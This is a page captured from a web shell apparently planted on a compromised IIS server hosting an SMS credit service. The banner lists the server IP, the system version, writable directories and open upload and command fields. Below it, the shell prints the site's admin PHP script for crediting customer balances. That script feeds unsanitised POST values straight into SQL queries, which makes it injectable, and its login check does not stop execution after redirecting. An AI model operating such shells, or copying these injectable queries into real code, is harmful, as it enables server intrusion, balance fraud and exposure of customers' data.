403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/sms4real.com/wwwroot/top/dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/sms4real.com/wwwroot/top/dashboard//adminaddcreditold.php
<?php
include "general2.php";
include "connect.php";
include 'sendmailclient.php';

function RandomString($length) {
        $original_string = array_merge(range(0,9));
        $original_string = implode("", $original_string);
        return substr(str_shuffle($original_string), 0, $length);
}


	   $loginuser = $_SESSION['loginuser'];
	   if($loginuser ==='')
	   {
	   header('Location: index.php?err=2');
	   }
$adminemail = $_SESSION['email'];
$pass = $_SESSION['pass'];

$clientusername =$_POST["username"]; 
$amt =$_POST["amount"]; 


//check if admin is authorized
date_default_timezone_set('Europe/London');

$profile = $_SESSION['profile'];
if ($profile== "1")
{
  header('Location: index.php?err=1');
  exit();
}

	
//get his phone number
$query ="select * from userlogin where username='". $clientusername ."' and domain='".$domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  echo mysqli_error($con);
  echo "-2";
   mysqli_close($con);
   exit();
}

$cnt = mysqli_num_rows($result);

if ($cnt != 1)
{
  header('Location: index.php?err=4');
  exit();
}



while($row = mysqli_fetch_array($result))
{
	$phonenumber = $row['phonenumber'];
	$clientemail = $row['email'];
}



//get his smsprofile

$query ="select * from smsprofile where username='". $clientusername ."' and domain='".$domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  echo mysqli_error($con);
  echo "-2";
   mysqli_close($con);
   exit();
}

$cnt = mysqli_num_rows($result);

if ($cnt != 1)
{
  header('Location: adminlogged.php?err=5');
  exit();
}



while($row = mysqli_fetch_array($result))
{
	$subprofile = $row['subprofile'];
  
}





//get is old balance 
  $query ="select * from smsaccount where username='". $clientusername ."' and domain='".$domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  echo mysqli_error($con);
  echo "-2";
   mysqli_close($con);
   exit();
}

//$cnt = 1000;

while($row = mysqli_fetch_array($result))
{
    if ($subprofile == '1')
	{
	   $oldbal = $row['balnaira'];
	}
	
	if ($subprofile == '2')
	{
	   $oldbal = $row['baleuro'];
	}
	
	if ($subprofile == '3')
	{
	   $oldbal = $row['baldollar'];
	}
}


$newbal = $oldbal + $amt;
//echo $oldbal."<br>";
//echo $amt ."<br>";
//echo $newbal ."<br>";

//exit();
$username=$_SESSION['username'];
if ($subprofile == '1')
 {
 $query ="update smsaccount set balnaira='". $newbal. "',dateused='".date('Y-m-d H:i:s')."' where username='". $clientusername ."' and domain='".$domain."'";
 }
 
 
 if ($subprofile == '2')
 {
 $query ="update smsaccount set baleuro='". $newbal. "',dateused='".date('Y-m-d H:i:s')."' where username='". $clientusername ."' and domain='".$domain."'";
 //echo $query;
 
 }
 
 
 if ($subprofile == '3')
 {
 $query ="update smsaccount set baldollar='". $newbal. "',dateused='".date('Y-m-d H:i:s')."' where username='". $clientusername ."' and domain='".$domain."'";
 }
 

if(!$result= mysqli_query($con,$query))
{
  echo mysqli_error($con);
  echo "-2";
   mysqli_close($con);
   exit();
}

$query ="INSERT INTO transferlogs (adminname, username,oldbal,amtcredited,newbal,datecredited,domain)  VALUES ('". $username ."','".  $clientusername  ."','". $oldbal ."','".$amt."','".$newbal."','". date('Y-m-d H:i:s')."','".$domain."')";

//echo $query;
//exit();
if(!$result= mysqli_query($con,$query))
{
  echo mysqli_error($con);
 // echo mysqli_error($con);
  echo "-3";
   mysqli_close($con);
   exit();
}

//echo "0";

$mysub = "Account Topup Report ".$domain ;
$myMessage ="Dear ". $clientusername. ",<br><br>";
$myMessage .= "Your ". $domain. " account has just be credited : <br><br>"; 
if ($subprofile =='1' ){
$myMessage .= "Amount Credited : N" . $amt . "<br>";
}

if ($subprofile =='2' ){
$myMessage .= "Amount Credited : &euro;" . $amt . "<br>";
}

if ($subprofile =='3' ){
$myMessage .= "Amount Credited : $" . $amt . "<br>";
}
$myMessage .= "Old Bal: " . $oldbal. "<br>";
$myMessage .= "New Bal: " . $newbal .  "<br><br>"; 
$myMessage .= "Thanks for doing business with us. " . "<br>";
$myMessage .= "Billing @ ".$domain;


$myMessage2 .= $myMessage;
$mymail = sendmailtoclient($clientemail,$myMessage,$myMmessage2,$mysub,$mfrom,$mfromname);

$email1 = getAdminEmail($domain,"email1");
$email2 = getAdminEmail($domain,"email2");

if ($email1 !="")
$mymail = sendmailtoclient($email1,$myMessage,$myMmessage2,$mysub,$mfrom,$mfromname);

if ($email2 !="")
$mymail = sendmailtoclient($email2,$myMessage,$myMmessage2,$mysub,$mfrom,$mfromname);

//send sms

//$transid =  generateTransID();
//$transid =  $transid ."1";
 $transid =  RandomString(9);
   $mtype ="1";
   $mess= "Dear ".  $clientusername ."\n". "Account Topup Report" ."\n". "Old Balance " .number_format($oldbal,2,'.',','). "\n" . "Amount Credited " .number_format($amt,2,'.',',')."\n". "New Balance ". number_format($newbal,2,'.',',') . "\n" . "Thanks from sales@".$domain;  
   //$phonenumber = getPhonenumber($username,$domain);
$ct = sendSMS( $username,$phonenumber, $transid, $domain,$mess,$sender,$mtype);

$phone1 = getAdminEmail($domain,"phonenumber1");
$phone2 = getAdminEmail($domain,"phonenumber2");

//$transid =  generateTransID();
//$transid =  $transid ."2";
 $transid =  RandomString(9);
if ($phone1 !="")
$ct = sendSMS( $username,$phone1, $transid, $domain,$mess,$sender,$mtype);

//$transid =  generateTransID();

//$transid =  $transid ."3";
 $transid =  RandomString(9);
if ($phone2 !="")
$ct = sendSMS( $username,$phone2, $transid, $domain,$mess,$sender,$mtype);

mysqli_close($con);
header('Location: index.php?err=0');
exit();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit